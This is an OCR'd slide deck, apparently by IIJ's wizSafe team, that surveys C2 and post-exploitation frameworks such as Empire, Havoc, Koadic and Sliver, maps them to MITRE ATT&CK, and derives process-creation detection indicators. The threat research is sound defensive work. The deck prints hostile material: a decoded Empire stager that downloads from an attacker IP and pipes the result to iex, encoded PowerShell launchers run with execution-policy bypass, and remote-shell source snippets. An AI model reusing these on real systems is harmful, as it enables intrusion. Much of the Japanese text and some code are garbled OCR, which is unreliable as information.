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Who are we D wizSafe
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Our Motivation S wizsSafe

e Post-Exploitation Framework@®@H(C (&Y — X J— RMH
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Our Motivation S wizsSafe

e Post-Exploitation Frameworkd®(C(EY—XJ— R
NHSNCEDOHZLFETD

- CNSEREENEHEN IR MRIUICFIAT D2 &N a6

e Post-Exploitation Framework®H (C(FIRE (CFIR SN,
MITRE ATT&CK(Z%E%?.T:'T“_C(/V&b“ﬁ@b‘ﬂi%

e MITRE ATT&CKICEEH NTWLWBDREDTEA > > —SFDODHH
SN TULWRWEDRH D

1. MITRE ATT&CKICEEHE =NTLRL
B JL—LAD—JOHEE
2. TechniquelcBEET D1 > o—SFDHEE



REEHLVERIC

MITRE ATT&CK Tactics D wizSafe

Execution KWEENERDHDII—REEITLELSELELTVS
Persistence KWEBEEDNFREPIVLCRATIRIBZERLELSELTVS
Privilege Escalation WEENKLDESVWILANILOERZESELLD ELTULD
Defense Evasion WEEMRINSNRVELDICLKIDELTLD

Credential Access WEENTHD "G L) AT—REZESELTVD
Discovery WEEN 7 IR EDRBEZIBFELIDELTLD

Lateral Movement WBEN 7 OCREOREZZHLLIDSELTND

Collection KWEENEN(CRALDH DT —FZIRELRIDELTND
Command and Control KWBEMRENILSRATLAEBELTHEILEIDS ELTWVS
Exfiltration RBENT —HZEESELTND

Impact WEBEN AT ALAET—HZRIE. B, FEEFWELLDSELTND

./ : tactics/ :


https://attack.mitre.org/tactics/enterprise/
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Presentation contents S wizsSafe

e MITRE ATTRCKTEIE U/ EDOTHIHETINYI UL\FE
— ARFKRT(IExecution. Persistence®—EBICDULNTHEET

o V—XOA—RICEDWHRLA D1 > 2o —5DHE
- AR NOJICEREEESND A2 —FICDVNTRBMT
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Surveying Post-Exploitation Tools



REEHLVERIC

C2Matrix S wizsafe

e CRCY—)LDIFEBD—EX
o 2023/12BfT139Y — )L BEENTLD
- BRPURD NUBHIBRENZY —ILEEH

A
1 C2 Info
: Name = License = Price = GitHubh = Site = Twitter = FEvaluator = Date = Version = Implementation =
3 |AirStrike MNA NA https://eithub.com/smokeme/airstrike @q8fawazo Contribute 10/2/2022
4 |Alan Created Commons NA https://github.com/enkomiofAlanFramewark  @s4tan @s4tan 39/10/2021 4 binary
5 Alchimist MNA NA https://blog.talosintelligence.com/2022/10/alchimist-o @TalosSecurity 10/13/2022
6 |Ares NA NA https://github.com/sweetsoftware/Ares @nas_bench 5/27/2021 N/A Python
7T | AsyncRAT-CH MIT NA https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp Contribute
& AtlasC2 MIT NA https://github.ce https://grimmie.net/atlasc2-car @gr'lmml'e @Adam_Mashinck  3/20/2022 C#
9  |BabyShark MNA NA https://github.com/UnkL4b/BabyShark @UnkL4b @nas_bench 6/8/2021 Beta 1.0
10 |Badrats GNU GPL3 NA https://gitlab.com/KevinlClark/badrats @GuhnooPlusLinux Contribute
11 | BlackMamba MIT NA https://github.com/loseys/BlackMamba Contribute
12 |Brute Ratel Commercial $2,500 https://bruteratel.com/ @NinjaParanoid @NinjaParanoid  3/19/2021 0.3 binary
13 | Bunraku Apache 2 NA https://github.com/theshadowboxers/bunraku Contribute
14 (3 BSD3 NA https://github.cc https://labs.f-secure.com/tools, @FSecurelabs @ajpc500 6/30/2021 1.3
15 |CALDERA Apache 2 NA hittps://github.com/mitre/caldera @jorgeorchilles  10/6/2019 2 pip3
16 | callidus GNU GPL3 NA https://github.com/3xpl01tc0d3r/Callidus @chiragsavlas4 @chiragsavlag4 5/8/2020
17 |CHAOS BSD3 NA https://github.com/tiagorlampert/CHADS @tiagorlampert @leekirkpatrick4  5/14/2020 3 Go
18 | CloakNDaggerC2 GNU GPL2 NA https://github.com/matt-culbert/CloakNDaggerc2 Contribute

Copyright Internet Initiative Japan Inc.


https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/edit#gid=0

REEHREVEAR

Analyzing tools listed in C2Matrix S wizsate

o TRM22%(31Y—IL)WEBRHLD

Not
Abused Abused

78% 22%
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Analyzing tools listed in C2Matrix Swizsafe

o TRM22%(31Y—IL)WEBRHLD
o BAH=NIZ31Y—)LH87% (27Y— )LL) GitHub(Z 23

Abused
22%

Public
87%
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Selecting analysis targets D wizSafe

1. V—XO—RHhRHEE=NTWNS
2. ERSEMMNERSNTND
3. Tacticsz=5DL Ei@micd
- BEgERVD IRV —)LZ SAE RS RN

Copyright Internet Initiative Japan Inc.



ﬁﬁﬁﬁﬁﬁﬁﬁﬁ

Selecting analysis targets

1. V—XO—RHhRHEE=NTWNS
2. ERSEMMNERSNTND
3. Tacticsz=5DL Ei@micd

- BEEENNDIRLWWY —)LZ ABEX RS FRIN

Target Frameworks

« AsyncRAT « Havoc « PoshC2
« Covenant « Koadic « Quasar
« DcRat « Merlin « Sliver

« Empire

Copyright Internet Initiative Japan Inc.
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Introducing Target Frameworks

12



Version information

REEHLVERIC

D wizSafe

m Evaluated Version (Release Date)

AsyncRAT
Covenant
DcRat
Empire
Havoc
Koadic
Merlin
PoshC2
Quasar

Sliver

Copyright Internet Initiative Japan Inc.

v0.5.8 (2023/10/17)

v0.6 (2020/08/18)

v1.0.7 (2021/05/06)

v5.7.3 (2023/10/17)

No release version (2023/08/25)
No release version (2022/01/03)
v2.0 (2023/11/06)

v8.1 (2022/08/01)

v1.4.1 (2023/05/13)

v1.5.41 (2023/07/12)

13
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AsyncRAT )W|zSafe

o 2019F(CRATNIZCH# TR NI D L—LD—2
o HHT/\—=32(4v0.5.8 (2023/10/17)

e MITRE ATT&CKICEEEd D
- https://attack.mitre.org/software/S1087/

o 4N
- QuasarzX—X ([CERE=NTL\D
- d—RA>2>x 023>, P2oFT1)LRAEIMEIR EDIRFNClEEH#EEE N
EINENTND
o FFSEHI

- OneNote Documents Increasmgly Used to Dellver Malware

14


https://attack.mitre.org/software/S1087/
https://www.proofpoint.com/us/blog/threat-insight/onenote-documents-increasingly-used-to-deliver-malware

ﬁﬁﬁﬁﬁﬁﬁﬁﬁ

Covenant S wizsSafe

e 2019

o M1/
- 20

FICRFSNIZCH TR ESNIZ I L —LD—0
\—=3>(3v0.6 (2020/08/18)
21/04/22 ABF(FBRFE/E L

e MITRE ATT&CKI(ZEEE/E L

o HFiE]

- ¥ 1 T DLauncherziED
- Z < D¥EBEN'AEL L CTULYBSharpSploit T1T4/o1n 3

o FEFHE

=2l

- Operatlon RestyLink: HAR{PEZIE D 2N BIRES > R—-2),

h

rity.n h_blog/102h

Copyright Internet Initiative Japan Inc
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https://jp.security.ntt/tech_blog/102ho8o

ﬁﬁﬁﬁﬁﬁﬁﬁﬁ

DcRat(not Dark Crystal Rat) D wizSafe

e 2021
o EHT/

FE(CABSNIZCH TR ENIE I L—LD—2
\—=3>(3v1.0.7(2021/05/06)

- BEH=INECEEZZIT. URS KNJET7—hH1rJ=ncTunsd
e MITRE ATT&CKI(CEE&/R U

o HFiE]

— AsyncRATZXR—X [CAFEE=NTULD
- SBYADIT HEEER D

o TEHHS
— On
On

=151
lyDcRatFans: Malware Distributed Using Explicit Lures of
IyFans Pages and Other AduIt Content

Copyright Internet Initiative Japan Inc
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https://www.esentire.com/blog/onlydcratfans-malware-distributed-using-explicit-lures-of-onlyfans-pages-and-other-adult-content
https://www.esentire.com/blog/onlydcratfans-malware-distributed-using-explicit-lures-of-onlyfans-pages-and-other-adult-content

ﬁﬁﬁﬁﬁﬁﬁﬁﬁ

Empire(a.k.a PowerShell Empire) D wizSafe

e 2015F(CHEN/=PowerShellCERkcNzTI L —LAD—2
— 20204 (v3.0) K D BC SecuritydforkhRH X -1 >

o BH/\—32(3v5.8.4(2023/12/22)

e MITRE ATT&CKICEE&Ed D
- https://attack.mitre.org/software/S0363/

o 4FHY
— LauncherZziftm & UfzAgentz3E1T
e Launcher(C(3EED T 7 1)L ZF A B]ge
- B2 1 —)UIC K DHEENLAR
- CovenantZz &,
o EFZEHI
- %/AEEERB@'E:FJ_U T’I’ 73\71*7&((_ E_ZL_ODZ} \’I’/ﬁ@]@:i%ﬂi

17


https://attack.mitre.org/software/S0363/
https://www.trellix.com/ja-jp/about/newsroom/stories/research/prime-ministers-office-compromised/

ﬁﬁﬁﬁﬁﬁﬁ

Havoc )W|zSafe

o 2022F(C A ENIZCTYERRVENTZ L — LD =72
o J\I—3 > BEEINTIRLY
- Maind S > F(F2023FE(CEFNTULD
e MITRE ATT&CKICEE=k/2 L
o
— Beacon Object File(BOF)ZRBU\/=3E1T
— fAE U AR A0 [o]
- B2 a2 —I)UICKDHREEHLFE A HE
o EHZEMI
— Malware Disguised as Document from Ukraine's Energoatom
Dehvers Havoc Demon Backdoor mmmmm@mibmgﬁn@r_

18


https://www.fortinet.com/blog/threat-research/malware-disguised-as-document-ukraine-energoatom-delivers-havoc-demon-backdoor
https://www.fortinet.com/blog/threat-research/malware-disguised-as-document-ukraine-energoatom-delivers-havoc-demon-backdoor

Koadic

e 2017
o EHT/

ﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁ

)W|zSafe

F(CFEENTzPython TRk =N/ L — LD —2
\—=32(32021F(CBESN. IRTEEHRBIIMESNTLD

e MITRE ATT&CKICEEEd D
- https://attack.mitre.org/software/S0250/

o FFfN

- (FEAEDERVENWindows Script HostiCK D EITEND

- 5SS

LEKUTLSIER CTRZE/MBEZERAT DT ENAIEE

o ZEFHE

=2l

- BEERZEOTEHAI)—REAXRL -3 [kiyal (CDULT,
https://techblog.security.ntt/102fz2k

19


https://attack.mitre.org/software/S0250/
https://techblog.security.ntt/102fz2k
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Merlin )W|ZSafe

e 2017F(CHSENIZGO TYERR NIz T L — LD —7
o 2023FERMFENMLITLND
- &/ \—=>3>(dv2.1.1 (2024/01/05)
e MITRE ATT&CKICEE=k/2 L
o
- JOXTZvY I A — L35S
- SNEBDIREY — )L =T 1 —)LE UTHA UtLEEILSE
o BN
— MerlinAgent: HOBMIM open-source IHCTPYMEHT A5 34IMCHEHHS

KibepaTaK y BiAHOLWEHHI Aep>XaBHUX opraHizauin YkpaiHun (CERT-
UA#6995, CERT-UA#7183), nttps://cert.gov.ua/article/5391805

Copyright Internet Initiative Japan Inc.
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https://cert.gov.ua/article/5391805
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PoshC2 )W|ZSafe

e 2016F(CAHENIZPYythonTIERk ESNIE L —AD—2
o B¥7/\—=3>(4v8.1(2022/08/01)
e MITRE ATT&CKICEE&Edp D

- https://attack.mitre.org/software/S0378/
o YFEN
- ZEOR1O—R
e C++ DLL, Shellcode, DotNet2]S, Executable, Msbuild, CSC, macOS JXA
Dropper, Python2 Dropper, elf

o EHERFH
- A=T2Y—RDY—)L [PoshC2] ZBA UIZHTT/MRM BB Z 3R,

h WWW. | lacwatch le/2019021 1770.html

Copyright Internet Initiative Japan Inc.
21


https://attack.mitre.org/software/S0378/
https://www.lac.co.jp/lacwatch/people/20190213_001770.html
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Quasar(a.k.a Quasar RAT) D wizSafe

e 2015

FICLRSNITZCHE TR ESNIZ I L—LDT—D

- BIBMXRAT(F2014F 2 FH

o EHT/

\—=3>(3v1.4.1(2023/05/13)

e MITRE ATT&CKICEE&Ed D
- https://attack.mitre.org/software/S0262/

o FHEK
- GUIIC K B#4F
- —HRAI/RRATHLHE

o FEFHE
- On

=Ll

eNote Documents Increasmgly Used to DeI|ver Malware

Copyright Internet Initiative Japan Inc
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https://attack.mitre.org/software/S0262/
https://www.proofpoint.com/us/blog/threat-insight/onenote-documents-increasingly-used-to-deliver-malware

Sliver D wizSafe

o 2019F(CHANIZGo TR NI I L — LD =D
o FT/\—=32(dv1.5.41 (2023/07/12)

e MITRE ATT&CKICEEEd D
- https://attack.mitre.org/software/S0633/

o 4FEN
- JORTZY b I A —LXFIE
- MTLSY°DNSZCCTO M ILE LTRSS Z &MV E]EE
- ArmoryE®>1 —)LIC K DHEE R LT Ol BE
o EHSHI
— Sliver C2 Being Distributed Through Korean Program Development
Company, nttps://asec.ahnlab.com/en/55652/

Copyright Internet Initiative Japan Inc.
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https://attack.mitre.org/software/S0633/
https://asec.ahnlab.com/en/55652/

REEHLVERIC

Tactics Matrix D wizSafe
I e A e e A e e e
Quasar v v v v v v v v v v
Empire v v v v v v v v v v v
erlin v v v v v v v v v
psncRAT v v v v v v v v v
Siver v v v v v v v v v v
Cowenant v v v v v v v v v
PoshC2 v v v v v v v v v v
DeRat v v v v v v v v v v
Koadic v v v v v v v v v v
Havoe v v v v v v v v v v

Copyright Internet Initiative Japan Inc.
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We unchecked Lateral Movement of AsyncRAT, DcRat, and

) wizSafe
-”
Empire v v v v v v Vv v v v v
Merlin v v v v v v v v v
ASYNCRAT v v v v v v v v v v
Sliver v v v v v v v v v v
Covenant v v v v v v v v v v
PoshC2 v v v v v v v v v v
DcRat v v v v v v v v v v
Koadic v v v v v v v v v v
Havoc v v v v v v v v v v

Copyright Internet Initiative Japan Inc.
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Why we considered that these frameworks don’t have
.y ) Wiz Sa fe
“Lateral Movement” capability
e Quasar, AsyncRAT, DcRat(EUE— b RU b THEE=1FD
— CDHEBEN'MITRE ATTRCKIZ &Lateral Movement(C33EENTULD
o JE—FTRT MY ITHEEIIRER U EimRDA (B .

Lateral Movement& U COEHEIZ LR
e Command and Controld7=2o—=w 2 TdS"Remote Access

Software"MFAH\E L TLVSD & HIRT

26
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Threat Intelligence
~ Execution ~

27



Execution matrix 1

REEHLVERIC

D wizSafe

Techmique | Count | Frameworks

Windows Command Shell

PowerShell

Copyright Internet Initiative Japan Inc.

10/10

9/10

AsyncRAT
Covenant
DcRat
Empire
Koadic
Havoc
Merlin
PoshC2
Quasar
Sliver

AsyncRAT
Covenant
DcRat
Empire
Havoc
Merlin
PoshC2
Quasar
Sliver

28



REEHLVERIC

Execution matrix 2 D wizSafe

Technique | Count | Frameworks

+  Empire
Native API 4/10 . e

+ Sliver
Command Interpreter 1/10 - Empire
WMI 1/10 + Koadic

Copyright Internet Initiative Japan Inc.
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Focus on Windows Command Shell

REEHLVERIC

D wizSafe

Techmiue | Count | Frameworks

Windows Command Shell

10/10

AsyncRAT
Covenant
DcRat
Empire
Koadic
Havoc
Merlin
PoshC2
Quasar
Sliver

PowerShell

Copyright Internet Initiative Japan Inc.

9/10

AsyncRAT
Covenant
DcRat
Empire
Havoc
Merlin
PoshC2
Quasar
Sliver

30



Windows Command Shell features

o FIFAAZE
— Remote shell
e AsyncRAT, DcRat, Quasar, Sliver
- Command execution
e Koadic, Havoc, Merlin, Covenant

— Launcher execution
e Empire, PoshC2

o (>2>T—4
- |IJOLEX
- O > RT1>

Copyright Internet Initiative Japan Inc.

REEHLVERIC

D wizSafe

31



REEHLVERIC

Remote shell indicator matrix D wizSafe

m

AsyncRAT

DcRat
Quasar

Sliver

Copyright Internet Initiative Japan Inc.

<AsyncRAT process> "cmd"
<DcRat process> "cmd"
<Quasar process> "emd" /K chcp <Code page>

<Sliver process> C:¥Windows¥System32¥cmd.exe

32



REEHLVERIC

Execution of cmd.exe in interactive mode D wizSafe

m

AsyncRAT
DcRat
Quasar

Sliver

Copyright Internet Initiative Japan Inc.

<AsyncRAT process>
<DcRat process>
<Quasar process>

<Sliver process>

llcmdll
"Cmd"
"emd" /K chcp <Code page>

C:¥Windows¥System32¥cmd.exe

33



Command line is "cmd"

REEHLVERIC

D wizSafe

m

AsyncRAT
DcRat
Quasar

Sliver

Copyright Internet Initiative Japan Inc.

<AsyncRAT process>
<DcRat process>
<Quasar process>

<Sliver process>

llcmdll
"Cmd"

"emd" /K chcp <Code page>

C:¥Windows¥System32¥cmd.exe

34



RE|EHRVERIC

Remote shell source code AsyncRAT D wizSafe

public static void StarShell()
{

ProcessShell = new Process()

{

Startinfo = new ProcessStartinfo("cmd")
{
UseShellExecute = false,
CreateNoWindow = true,
RedirectStandardOutput = true,
RedirectStandardInput=true,
RedirectStandardError=true,
WorkingDirectory =
Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))

Copyright Internet Initiative Japan Inc.


https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/Miscellaneous/Miscellaneous/Handler/HandleShell.cs#L26-L39

Indicators

AsyncRAT

REEHLVERIC

D wizSafe

General Details

{4] Event Properties - Event 4688, Microsoft Windows security auditing.

Logon 1D:

Process Information:
Mew Process |[:
Mew Process Mame:
Token Elevation Type:
Mandatory Label:
Creator Process Dk

OO

0974

CAWindows\SysWOWEeS\cmd.exe
TokenElevationTypeLlimited (3)

Mandatory Label\Medium Mandatory Level
Ox13ed

Creator Process Mame:
Process Command Line:

ChUsers\ben\AppDatatRoaminghasyncrat.exe
“ermd"

s

Parent
Process

Command
Line

cmd"”

Copyright Internet Initiative Japan Inc.

<AsyncRAT or DcRat process>

36



REEHLVE

Command execution with cmd.exe indicator matrix &S wizSafe

W

Havoc <Havoc process>

rundll32.exe

Koadic regsvr32.exe
wmic.exe
Merlin <Merlin process>

Copyright Internet Initiative Japan Inc.

/Cc <command>

C:¥Windows¥system32¥cmd.exe
/q /c chcp <code page> &
<command>1> %LocalAppData%
¥Temp¥<uuid>.txt 2>&1"

(default)
C:¥Windows¥system32¥cmd.exe /c
<command line>

37



REEHLVE

Havoc command line does not contain cmd.exe path D wizSafe

W
Havoc <Havoc process> ‘ /C <command> ‘

rundll32.exe

C:¥Windows¥system32¥cmd.exe
/q /c chcp <code page> &

Koadic ORISR <command>1> %LocalAppData%
: ¥Temp¥<uuid>.txt 2>&1"
wmic.exe
(default)
Merlin <Merlin process> C:¥Windows¥system32¥cmd.exe /c

<command line>

Copyright Internet Initiative Japan Inc.



“shell” command source code Havoc

else if ( InputCommands[ O ].compare( "shell" ) ==0) {
if ( InputCommands.length() >1){ Arguments only
auto Program = QString("'c:¥¥windows¥¥system32¥¥cmd.exe");

auto Args = QString( "/c " + JoinAtindex( InputCommands, 1) ).toUtf8().toBase64();
/[ InputCommands[ 1 ].;

TaskID = CONSOLE_INFO( "Tasked demon to execute a shell command" );
CommandIinputList] TaskID ] = commandline;

SEND( Execute.ProcModule( TaskID, 4, "O;FALSE;TRUE;" + Program +";" +

Copyright Internet Initiative Japan Inc.


https://github.com/HavocFramework/Havoc/blob/main/client/src/Havoc/Demon/ConsoleInput.cc#L876-L883

REEHLVERIC

Execution process source code SEVOl D wizSafe

case DEMON_COMMAND_PROC_CREATE: PUTS( "Proc::Create") {
<...snip...>

Success = ProcessCreate( TRUE, Process, ProcessArgs, ProcessState, &Processinfo,
ProcessPlped NULL );

BOOL ProcessCreate(IN BOOL x86, IN LPWSTR App, IN |LPWSTR CmdLine,
IN DWORD Flags, OUT PROCESS INFORMATION* Processlnfo,

IN BOOL Piped, IN PANONPIPE DataAnonPipes
) {

<...snip...>
if (! Instance.Win32.CreateProcessWithTokenW(PrimaryToken,
LOGON NETCREDENTIALS_ONLY, App, CmdLine,

Arguments only

Copyright Internet Initiative Japan Inc.


https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Win32.c#L579-L683
https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Command.c#L423-L448

Indicators

Havoc

REEHLVERIC

D wizSafe

General

@ Event Properties - Event 4688, Microsoft Windows security auditing.

Details

Process Information:

Procesz ([ O 120
| Mew Process Mame: ChAWindows\System32hemd.exe
loken Elevation lype: lokenklevation lypelimited ()
Mandatory Label: Mandatory Label\Medium Mandatory Level
Creator Process (Dt Oxf00

2 : \Desktopc2\havoc\havoc_payloadihavoc.exe
Process Command Line:  /c whoami

Process
cmd.exe
Name
Command :
Line /c <any command line>

Copyright Internet Initiative Japan Inc.

41



REEHLVERIC

“proc create” command source code eVl D wizSafe

“shell”JX> RERFRRD,

Args = "¥" + Program + "¥" “proc create” VY > RTIEEITI S
for (int i = Index; 1 < InputCommands A FE'AI‘QS'(Z:‘E’J"?%E&D\

{ BRI RS 2ICIRB

Args +="" + InputCommandsJ i];

}

<...snip...>

SEND( Execute.ProcModule( TaskID, 4, Flags + ";" + Verbose + ";" + Piped + ";" +
Program + ";" + Args ) )

Copyright Internet Initiative Japan Inc.
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https://github.com/HavocFramework/Havoc/blob/main/client/Source/Havoc/Demon/ConsoleInput.cpp#L876-L895

REEHLVE

Koadic Indicators are very interesting! D wizSafe

W

Havoc <Havoc process>

/C <command>

rundll32.exe

C:¥Windows¥system32¥cmd.exe
/q /c chcp <code page> &

Koadic ORISR <command>1> %LocalAppData%
: ¥Temp¥<uuid>.txt 2>&1"
wmic.exe
(default)
Merlin <Merlin process> C:¥Windows¥system32¥cmd.exe /c

Copyright Internet Initiative Japan Inc.

<command line>
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REEHLVERIC

Stager module targeting user execution LI "D wizSafe

e KoadiclZStagerHh\6iEFEF1E 9 B
- Stager(3&EFRPICC2H—/\DURLMNSAgentzSF > O— R, £1793
e Agent(drundll32.exe, regsvr32.exe, wmic.exeDUL\F 1O T
EITEND
stager | Agent Process
stager/js/mshta
stager/js/rundll32_js
stager/is/disk rundll32.exe
stager/js/bitsadmin
stager/js/regsvr regsvr32.exe

stager/js/wmic wmic.exe

Copyright Internet Initiative Japan Inc.
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REEHLVERIC

shell_exec source code (GELT "D wizSafe

Koadic.shell.exec = function(cmd, stdOutPath)

{

cmd = "chcp " + Koadic.user.shellchcp() + " & " + cmd;
var ¢ =|"%comspec%|/q/c" +cmd +" 1> " +
Koadic.file.getPath(stdOutPath);

C+="2>&1"; %COMSPEC%ERTENTLYD

Koad|c WS Run(c 0, true);

var readout = ~QUTPUT~;
if (readout)

{

var output = Koadic.shell.exec("~FCMD~",
"~FDIRECTORY~¥¥"+Koadic.uuid()+".txt");
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https://github.com/offsecginger/koadic/blob/main/data/stager/js/stdlib.js#L952-L957
https://github.com/offsecginger/koadic/blob/main/data/stager/js/stdlib.js#L952-L957

REEHLVERIC

Indicators (GELI "D wizSafe

{2 Event Properties - Event 4688, Microsoft Windows security auditing.

General Details

Process Information: ~
New Process ID: 0x150
New Process Name: C:\Windows\System32\cmd.exe
Token Elevation Type: %%1937
Mandatory Label: Mandatory Label\High Mandatory Level
Creator Process ID: 0x8d8

Creator Process Name: C:\Windows\System32\rundlI32.exe
Process Command Line:  "C:\Windows\system32\cmd.exe" /q /c chcp 437 & hostname 1> C:\Users\user\AppData\Local\Temp\7a19b420-30f1-dd06-2198-
584f3518c0a7.txt 2> &1

« rundll32.exe
* regsvr32.exe
e wmic.exe

Parent
Process

Command C:¥Windows¥system32¥cmd.exe /q /c chcp <user code> &
Line <command>1> %LlocalAppData%¥Temp¥<uuid>.txt 2>&1"

Copyright Internet Initiative Japan Inc.

46



REEHLVE

Merlin executes the shell set in %COMSPEC% S wizSafe

W

Havoc <Havoc process> /C <command>

rundll32.exe
C:¥Windows¥system32¥cmd.exe

/q /c chcp <code page> &

Koadic ORISR <command>1> %LocalAppData%
: ¥Temp¥<uuid>.txt 2>&1"
wmic.exe
(default)
Merlin <Merlin process> C:¥Windows¥system32¥cmd.exe /c
<command line>

Copyright Internet Initiative Japan Inc.

47



REEHLVERIC

Agent execution with cmd.exe indicator matrix D wizSafe

m

(default) powershell.exe -nop -ep
Empire bypass -w 1 -enc <base64encoded
script>
(default) cmd.exe
powershell -exec bypass -
PoshC2 Noninteractive -windowstyle hidden -
e <base64 encoded script>

Copyright Internet Initiative Japan Inc.
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REEHLVERIC

Empire and PoshC2 launcher are BAT files D wizSafe

m

Empire

PoshC2

Copyright Internet Initiative Japan Inc.

(default) cmd.exe

(default) powershell.exe -nop -ep
bypass -w 1 -enc <base6t4encoded
script>

powershell -exec bypass
-Noninteractive -windowstyle hidden
-e <baseb4 encoded script>
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REEHLVERIC

launcher_bat source code SICl & wizSafe

launcher_ps = (
self.mainMenu.obfuscationv2.obfuscate(
launcher_ps, obfuscate _command
)
If obfuscate
else launcher_ps
)
launcher_ps = enc_powershell(launcher_ps).decode("UTF-8")
launcher = f'powershell.exe -nop -ep bypass -w 1 -enc|{launcher_ps}"

Copyright Internet Initiative Japan Inc.


https://github.com/BC-SECURITY/Empire/blob/main/empire/server/stagers/windows/launcher_bat.py#L120-L128

Launcher BAT file S wizsSafe

@echo off
5tart /B pDWEFShEll exe -nop -ep bypass -w 1 -enc

UAdAAUAEMACgB1AGQAZQBUAHQAZQBhAGWAQWBhAGMAZAB1AFBADEAGAEQAZQBMAGEAJQB S/
AHcAcghAoAC cAaABBAHQACAABAC BALWAXADC AMgAUADT AMwAUADT AMQAUADEAMwAXADOADA
BsAGWALwARACkALQBVAHMAZ OBCAGEACWBpAGMAUABhAHTAcWBpAGAAZWBSAGKAZQBAAA==

timeout /£t 1 » nul
del "%~fB"

decode

Output \
c:DefaultNetworkCredentials;

(New-Object Net.webClient).Proxy.Credentials=[Net.CredentialCache]::
iwr('http://172.23.21.131:8888/download/powershell/"')-UseBasicParsing|iex

StagerZ&4 D >0O—RU.
RITITDARAIUT b

Copyright Internet Initiative Japan Inc.
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Indicators

Empire

REEHLVERIC

D wizSafe

General

Details

{4] Event Properties - Event 4688, Microsoft Windows security auditing.

Process

Information:

Mew Process Dy

Mew Process Mame:
Token Elevation Type:
Mandatory Label:
Creator Process |[

(B384
CAWindowshSystem32\WindowsPowerShell'w1.hpowershell.exe
TokenElevationTypeLimited (3)

Mandatory Label\Medium Mandatory Level

Oxaac

Creator Process Mame:
Process Command Line;

CAWindows!\System32hemd.exe
powershell.exe -nop -ep bypass -w 1 -enc

KABOAGUAdwWALAERAY gBgAGUAYWEBIACAATGRIAHCOAL gBXAGUAY gBDAGwWAaQBIAGIAdAARACAAUABYAG

X

Parent
Process

Command
Line

Copyright Internet Initiative Japan Inc.

cmd.exe

(default) powershell.exe -nop -ep bypass -w 1
-enc <base6b4encoded script>
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REEHLVERIC

Generating launcher source code D wizSafe

with open("%s%spayload.txt" % (self.BaseDirectory, name), 'w') as f:
f.write(self.PSDropper)

self.QuickstartLog("Batch Payload written to: %s%spayload.bat" %
(self.BaseDirectory, name))

encodedPayload = base64.b64encode(b64gzip.encode('UTF-16LE"))
batfile = "powershell -exec bypass -Noninteractive -windowstyle hidden -
e %s" % encodedPayload.decode("utf-8")

https://github.com/nettitude/PoshC2/blob/master/poshc2/server/payloads/Payioads. 1.145-1.148

Copyright Internet Initiative Japan Inc.
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https://github.com/nettitude/PoshC2/blob/master/poshc2/server/payloads/Payloads.py#L145-L148

REEHLVERIC

Indicators e S wizsafe

{4] Event Properties - Event 4688, Microsoft Windows security auditing.

General Details

Process Information:

New Process ID: Ox1dd4

New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Token Elevation Type: %%1937

Mandatory Label: Mandatory Label\High Mandatory Level

Creator Process ID: Oxbo4

Creator Process Name: C:A\Windows\System32\cmd.exe

Process Command Line:  powershell -exec bypass -Noninteractive -windowstyle hidden -e
SQBFAFgAKABOAGUAdwALAEBAYgBgAGUAYwWBOACAASQBPACAAUWBOAHIAZOBhAGOAUGBIAGEAZABIAHIAKAAOAE4AZQB3ACOATWBIAGOAZQ
BJAHQAIABTAHKAcwBOAGUABQAUAEKATWAUAEMAbwBtAHAACgBIAHMACWBpAGE8AbgAuAEcAegBpAHAAUWBOAHIAZOBhAGOAKABBAEKATWA
uAEOAZQBtAGBAcgBSAFMAdABYAGUAYQBtAFOAWWBDAG8AbgB2AGUAcgBOAFOAOGABAEYAcgBvAGOAQgBhAHMAZQA2ADQAUWB0AHIA2QBuU
AGCAKAANAEgANABZAEKAQQOBIAEEARQBUAECAVOBDACBANQAXAFgAVWAZAFAAYQBPAEIAUgArADKANGAVAFEAZQBgAHCANWB1AEDAWABEA
GsAagBaAE4AdwAzAGgAbQBFADQAZABZAGOARABRAE0AQgBaAHIATWBMAHAAUABaAEUAYgBZAEKAQwBzAFoAeQBaAFQAbBQBFAHMAdgBGAD

Parent
Process

cmd.exe

Command  powershell -exec bypass -Noninteractive -windowstyle hidden
Line -e <base64 encoded script>

Copyright Internet Initiative Japan Inc.
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Focus on PowerShell

REEHLVERIC

D wizSafe

Technique | Count | Frameworks

Windows Command Shell

10/10

AsyncRAT
Covenant
DcRat
Empire
Koadic
Havoc
PoshC2
Quasar
Sliver

PowerShell

9/10

AsyncRAT
Covenant
DcRat
Empire
Koadic
Havoc
PoshC2
Quasar
Sliver

Copyright Internet Initiative Japan Inc.
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PowerShell features

o FIFAAZE
— Remote shell
e Sliver
— Command and script execution
e Koadic, Havoc, Merlin, AsyncRAT, DcRat, Quasar

— Launcher execution
e Empire, Covenant

o AXTH—%
- OTYRSA>

Copyright Internet Initiative Japan Inc.

REEHLVERIC

D wizSafe
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REEHLVERIC

Remote shell indicator D wizSafe

m

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥
_ powershell.exe"
Sliver -NoExit -Command

[Console]::OutputEncoding=[Text. UTF8Encoding]
:UTF8"

Copyright Internet Initiative Japan Inc.
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Remote shell with PowerShell

REEHLVERIC

Sl D wizSafe

“shell” 1< > KR CPowerShellZRemote shell& U CAIABIEE
— PowerShelli 71 UIRULEE (Eemd.exehVEiTEN D

o HBZNZRVWINV FEULTESFEND

[server] sliver

> shell

? This action is bad OPSEC, are you an adult?

Wait approximately 1@ seconds after exit, and press <enter> to continue
Opening shell tunnel (EOF to exit)

Started remote shell with pid 18868

PS C:hUsersh\ben\Desktophc2h
PS C:\

Usersben\Desktophc2is
whoami
195T14b an
PS C:

Copyright Internet Initiative Japan Inc.
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REEHLVERIC

Indicators SIVEIE D wizSafe

i3] Event Properties - Event 4688, Microsoft Windows security auditing.

General Details

Process Information:

Mew Process ID: (1254

Mew Process Mame: ChAWindows\Systern32\WindowsPowerShellhw 1.0 powershell exe
Token Elevation Type: TokenElevationTypelimited (3)

Mandatory Label: Mandatory Label\Medium Mandatory Level

Creator Process [t Ox2b74

